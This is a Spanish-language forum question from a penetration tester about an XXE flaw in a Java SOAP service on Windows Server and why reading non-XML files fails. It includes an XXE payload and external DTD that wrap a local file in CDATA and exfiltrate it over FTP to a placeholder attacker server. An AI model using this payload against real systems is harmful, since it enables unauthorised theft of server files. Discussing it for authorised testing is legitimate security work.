Durante un compromiso de Pentest, encontré una vulnerabilidad XXE en un servicio web SOAP escrito en Java, el sistema operativo es Windows Server y estoy tratando de demostrar qué tan grave es la vulnerabilidad. El problema es que solo puedo leer archivos XML bien formateados y adecuados, ni siquiera puedo leer los XML de los usuarios de Tomcat cuando se queja sobre el archivo XML y su codificación.
Estaba leyendo una presentación de Blackhat en la que hablan sobre el uso de DTD y el archivo dentro de una etiqueta CDATA, lo que hice:
Mi XML:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!ENTITY % data SYSTEM "file:///IMPORTANTFILE.TXT">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
Mi DTD:
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "%start;%data;%end;">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://MYSERVER/%all;'>">
También aprendí sobre FTP en Java porque en HTTP se queja de caracteres ilegales en la URL. Aprendí eso de otro artículo técnico.
Así que leí 1-2 archivos (tuve suerte con algunos archivos de configuración de Java XML correctamente formados), pero no eran importantes en absoluto, era como cosas de configuración de la aplicación. Cuando trato de leer algunos archivos serios, se queja de que no son un archivo XML real.
Creo que hice el truco de DTD y CDATA correctamente (como se explica en el documento técnico y en la presentación de BlackHat), pero haga lo que haga, se queja de que el archivo no es válido, el formato de archivo no es válido, la codificación no es válida, etc.
No pude leer nada importante de la aplicación web. ¿Me estoy perdiendo de algo? ¿Algún consejo / ideas para que pruebe?
Intenté jar: // trick también, no funcionó.